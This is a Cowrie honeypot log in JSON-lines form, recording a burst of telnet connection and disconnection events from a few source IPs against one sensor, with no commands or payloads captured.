{"eventid":"cowrie.session.closed","duration":33.7732048034668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:26.027783Z","src_ip":"162.55.233.176","session":"beac1fceb770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"301da62e94c2","protocol":"telnet","message":"New connection: 188.208.141.113:58550 (10.17.0.5:23) [session: 301da62e94c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:26.251014Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44890,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc6b71412f4","protocol":"telnet","message":"New connection: 162.55.233.176:44890 (159.203.135.109:23) [session: 9dc6b71412f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:26.496390Z"}
{"eventid":"cowrie.session.closed","duration":31.41075825691223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:26.512351Z","src_ip":"162.55.233.176","session":"45618879209b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44894,"dst_ip":"159.203.135.109","dst_port":23,"session":"581b381c1690","protocol":"telnet","message":"New connection: 162.55.233.176:44894 (159.203.135.109:23) [session: 581b381c1690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.043028Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44896,"dst_ip":"159.203.135.109","dst_port":23,"session":"a14f9ef17bcb","protocol":"telnet","message":"New connection: 162.55.233.176:44896 (159.203.135.109:23) [session: a14f9ef17bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.124487Z"}
{"eventid":"cowrie.session.closed","duration":33.856712102890015,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.268846Z","src_ip":"162.55.233.176","session":"1e3a8bab7b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44974136352539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.456548Z","src_ip":"162.55.233.176","session":"1762b0413e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.15103554725647,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.771904Z","src_ip":"162.55.233.176","session":"ce3014fb39e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44906,"dst_ip":"159.203.135.109","dst_port":23,"session":"c954019d0eb9","protocol":"telnet","message":"New connection: 162.55.233.176:44906 (159.203.135.109:23) [session: c954019d0eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.800893Z"}
{"eventid":"cowrie.session.closed","duration":30.974076986312866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.819564Z","src_ip":"162.55.233.176","session":"28439e7ab263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.680798292160034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:27.915561Z","src_ip":"162.55.233.176","session":"572477fd6310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24253535270691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:28.109993Z","src_ip":"162.55.233.176","session":"234e01bb9fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44910,"dst_ip":"159.203.135.109","dst_port":23,"session":"55201daaaec8","protocol":"telnet","message":"New connection: 162.55.233.176:44910 (159.203.135.109:23) [session: 55201daaaec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:28.457054Z"}
{"eventid":"cowrie.session.closed","duration":120.00146794319153,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:28.711612Z","src_ip":"138.255.230.135","session":"8b64b0cca7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44926,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98a76bdb0f3","protocol":"telnet","message":"New connection: 162.55.233.176:44926 (159.203.135.109:23) [session: c98a76bdb0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:28.900663Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44928,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ca17fae916","protocol":"telnet","message":"New connection: 162.55.233.176:44928 (159.203.135.109:23) [session: 05ca17fae916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:28.904582Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44932,"dst_ip":"159.203.135.109","dst_port":23,"session":"304c5568ed04","protocol":"telnet","message":"New connection: 162.55.233.176:44932 (159.203.135.109:23) [session: 304c5568ed04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.049872Z"}
{"eventid":"cowrie.session.closed","duration":34.2529194355011,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.169905Z","src_ip":"162.55.233.176","session":"ccae71bb512e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.942426443099976,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.366537Z","src_ip":"162.55.233.176","session":"1de1eb493da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44934,"dst_ip":"159.203.135.109","dst_port":23,"session":"303cbe93711f","protocol":"telnet","message":"New connection: 162.55.233.176:44934 (159.203.135.109:23) [session: 303cbe93711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.469190Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44938,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd68f367bcb3","protocol":"telnet","message":"New connection: 162.55.233.176:44938 (159.203.135.109:23) [session: bd68f367bcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.545426Z"}
{"eventid":"cowrie.session.closed","duration":35.53406310081482,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.550792Z","src_ip":"162.55.233.176","session":"2704446889cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3515467643737793,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.602446Z","src_ip":"188.208.141.113","session":"301da62e94c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19140410423279,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.654595Z","src_ip":"162.55.233.176","session":"5a737cb75fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44948,"dst_ip":"159.203.135.109","dst_port":23,"session":"2106eaff73fa","protocol":"telnet","message":"New connection: 162.55.233.176:44948 (159.203.135.109:23) [session: 2106eaff73fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.696400Z"}
{"eventid":"cowrie.session.closed","duration":30.78191614151001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.710368Z","src_ip":"162.55.233.176","session":"cc9dbcb257e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f14e5b1a3e7a","protocol":"telnet","message":"New connection: 162.55.233.176:44962 (159.203.135.109:23) [session: f14e5b1a3e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.717453Z"}
{"eventid":"cowrie.session.closed","duration":33.44461512565613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.823312Z","src_ip":"162.55.233.176","session":"8bd730bf00cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":41593,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c85856f5528","protocol":"telnet","message":"New connection: 138.255.230.135:41593 (159.203.135.109:23) [session: 7c85856f5528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:29.833104Z"}
{"eventid":"cowrie.session.closed","duration":45.07971453666687,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:30.033222Z","src_ip":"188.208.141.113","session":"cc927170e5b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44964,"dst_ip":"159.203.135.109","dst_port":23,"session":"f743e0d1d74d","protocol":"telnet","message":"New connection: 162.55.233.176:44964 (159.203.135.109:23) [session: f743e0d1d74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:30.296247Z"}
{"eventid":"cowrie.session.closed","duration":31.00961923599243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:30.738611Z","src_ip":"162.55.233.176","session":"71c8e07eeaac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44978,"dst_ip":"159.203.135.109","dst_port":23,"session":"a00dba56a0e6","protocol":"telnet","message":"New connection: 162.55.233.176:44978 (159.203.135.109:23) [session: a00dba56a0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:30.890769Z"}
{"eventid":"cowrie.session.closed","duration":30.431525468826294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.265887Z","src_ip":"162.55.233.176","session":"d188699b459a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33997321128845,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.515686Z","src_ip":"162.55.233.176","session":"1f409c7892a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83916687965393,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.646862Z","src_ip":"162.55.233.176","session":"7da7e118b112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65696954727173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.712494Z","src_ip":"162.55.233.176","session":"a86021ef2605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44990,"dst_ip":"159.203.135.109","dst_port":23,"session":"d400403b72d4","protocol":"telnet","message":"New connection: 162.55.233.176:44990 (159.203.135.109:23) [session: d400403b72d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.769422Z"}
{"eventid":"cowrie.session.closed","duration":31.50223469734192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.835505Z","src_ip":"162.55.233.176","session":"06d1e3b00c1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45000,"dst_ip":"159.203.135.109","dst_port":23,"session":"624797ef4026","protocol":"telnet","message":"New connection: 162.55.233.176:45000 (159.203.135.109:23) [session: 624797ef4026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.982484Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45016,"dst_ip":"159.203.135.109","dst_port":23,"session":"f52aba32956f","protocol":"telnet","message":"New connection: 162.55.233.176:45016 (159.203.135.109:23) [session: f52aba32956f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:31.989978Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45032,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0bfbf7f3bc","protocol":"telnet","message":"New connection: 162.55.233.176:45032 (159.203.135.109:23) [session: 8b0bfbf7f3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.097113Z"}
{"eventid":"cowrie.session.closed","duration":39.33319926261902,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.131579Z","src_ip":"162.55.233.176","session":"14a49a5e0cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"273c6c034424","protocol":"telnet","message":"New connection: 162.55.233.176:45040 (159.203.135.109:23) [session: 273c6c034424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.145848Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45054,"dst_ip":"159.203.135.109","dst_port":23,"session":"730705cc10b3","protocol":"telnet","message":"New connection: 162.55.233.176:45054 (159.203.135.109:23) [session: 730705cc10b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.432772Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45058,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a39c8b8b03","protocol":"telnet","message":"New connection: 162.55.233.176:45058 (159.203.135.109:23) [session: b7a39c8b8b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.499880Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45064,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda3c3cf6d33","protocol":"telnet","message":"New connection: 162.55.233.176:45064 (159.203.135.109:23) [session: eda3c3cf6d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.709684Z"}
{"eventid":"cowrie.session.closed","duration":47.197208642959595,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.779079Z","src_ip":"162.55.233.176","session":"09a7219046bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.795722007751465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.893687Z","src_ip":"162.55.233.176","session":"9b501129ddb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.505228757858276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.929230Z","src_ip":"162.55.233.176","session":"e0c41c52d6f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35442,"dst_ip":"159.203.135.109","dst_port":23,"session":"26e0185cb5ca","protocol":"telnet","message":"New connection: 162.55.233.176:35442 (159.203.135.109:23) [session: 26e0185cb5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.955469Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42309,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d06034c83d","protocol":"telnet","message":"New connection: 138.255.230.135:42309 (159.203.135.109:23) [session: 41d06034c83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.963021Z"}
{"eventid":"cowrie.session.closed","duration":41.64523148536682,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:32.997917Z","src_ip":"162.55.233.176","session":"23c8f707da91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35450,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8efc376569","protocol":"telnet","message":"New connection: 162.55.233.176:35450 (159.203.135.109:23) [session: 9b8efc376569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.331423Z"}
{"eventid":"cowrie.session.closed","duration":30.716697931289673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.485096Z","src_ip":"162.55.233.176","session":"af19ef1c2ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.394092082977295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.529574Z","src_ip":"162.55.233.176","session":"59f90732820c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11638641357422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.555814Z","src_ip":"162.55.233.176","session":"e60b68a9c7ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52300000190735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.649565Z","src_ip":"162.55.233.176","session":"9405c9395898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35466,"dst_ip":"159.203.135.109","dst_port":23,"session":"965698d79170","protocol":"telnet","message":"New connection: 162.55.233.176:35466 (159.203.135.109:23) [session: 965698d79170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.704931Z"}
{"eventid":"cowrie.session.closed","duration":40.018561124801636,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.718638Z","src_ip":"162.55.233.176","session":"758a78627435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.660054683685303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.784842Z","src_ip":"162.55.233.176","session":"74c8524690a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de5fa5e378d","protocol":"telnet","message":"New connection: 162.55.233.176:35478 (159.203.135.109:23) [session: 3de5fa5e378d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:33.935839Z"}
{"eventid":"cowrie.session.closed","duration":32.1879301071167,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:34.006597Z","src_ip":"162.55.233.176","session":"0fed0d0861c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"954240d8a562","protocol":"telnet","message":"New connection: 162.55.233.176:35488 (159.203.135.109:23) [session: 954240d8a562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:34.140215Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35496,"dst_ip":"159.203.135.109","dst_port":23,"session":"105fd8dbcd74","protocol":"telnet","message":"New connection: 162.55.233.176:35496 (159.203.135.109:23) [session: 105fd8dbcd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:34.378120Z"}
{"eventid":"cowrie.session.closed","duration":38.934895515441895,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:34.935630Z","src_ip":"162.55.233.176","session":"8bbe7005b398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35510,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7c601e25d5","protocol":"telnet","message":"New connection: 162.55.233.176:35510 (159.203.135.109:23) [session: ab7c601e25d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.000764Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35518,"dst_ip":"159.203.135.109","dst_port":23,"session":"557f743f21b0","protocol":"telnet","message":"New connection: 162.55.233.176:35518 (159.203.135.109:23) [session: 557f743f21b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.262542Z"}
{"eventid":"cowrie.session.closed","duration":31.900676012039185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.377460Z","src_ip":"162.55.233.176","session":"1ad4cf6e4a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618467092514038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.497880Z","src_ip":"162.55.233.176","session":"0e05bf01f6e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a572a5cebd","protocol":"telnet","message":"New connection: 188.208.141.113:39970 (10.17.0.5:23) [session: 78a572a5cebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.502853Z"}
{"eventid":"cowrie.session.closed","duration":37.22620606422424,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.658514Z","src_ip":"162.55.233.176","session":"fd723491bfee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.64246678352356,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:35.825659Z","src_ip":"188.208.141.113","session":"7a02cd8f9828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35528,"dst_ip":"159.203.135.109","dst_port":23,"session":"368d0890ce1b","protocol":"telnet","message":"New connection: 162.55.233.176:35528 (159.203.135.109:23) [session: 368d0890ce1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.031985Z"}
{"eventid":"cowrie.session.closed","duration":30.92393708229065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.211426Z","src_ip":"162.55.233.176","session":"f0bec154fc48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0731999874115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.580420Z","src_ip":"162.55.233.176","session":"e85de55f09c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.331966161727905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.662238Z","src_ip":"162.55.233.176","session":"0a345749a860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35534,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70df68dc7a4","protocol":"telnet","message":"New connection: 162.55.233.176:35534 (159.203.135.109:23) [session: e70df68dc7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.851772Z"}
{"eventid":"cowrie.session.closed","duration":32.12830591201782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.921237Z","src_ip":"162.55.233.176","session":"8ecd2dc146ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43104600906372,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:36.966010Z","src_ip":"162.55.233.176","session":"7b6cae603ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35544,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b561b1f5ddf","protocol":"telnet","message":"New connection: 162.55.233.176:35544 (159.203.135.109:23) [session: 9b561b1f5ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:37.189117Z"}
{"eventid":"cowrie.session.closed","duration":31.644222497940063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:37.541597Z","src_ip":"162.55.233.176","session":"eff4699df9c7","protocol":"telnet"}
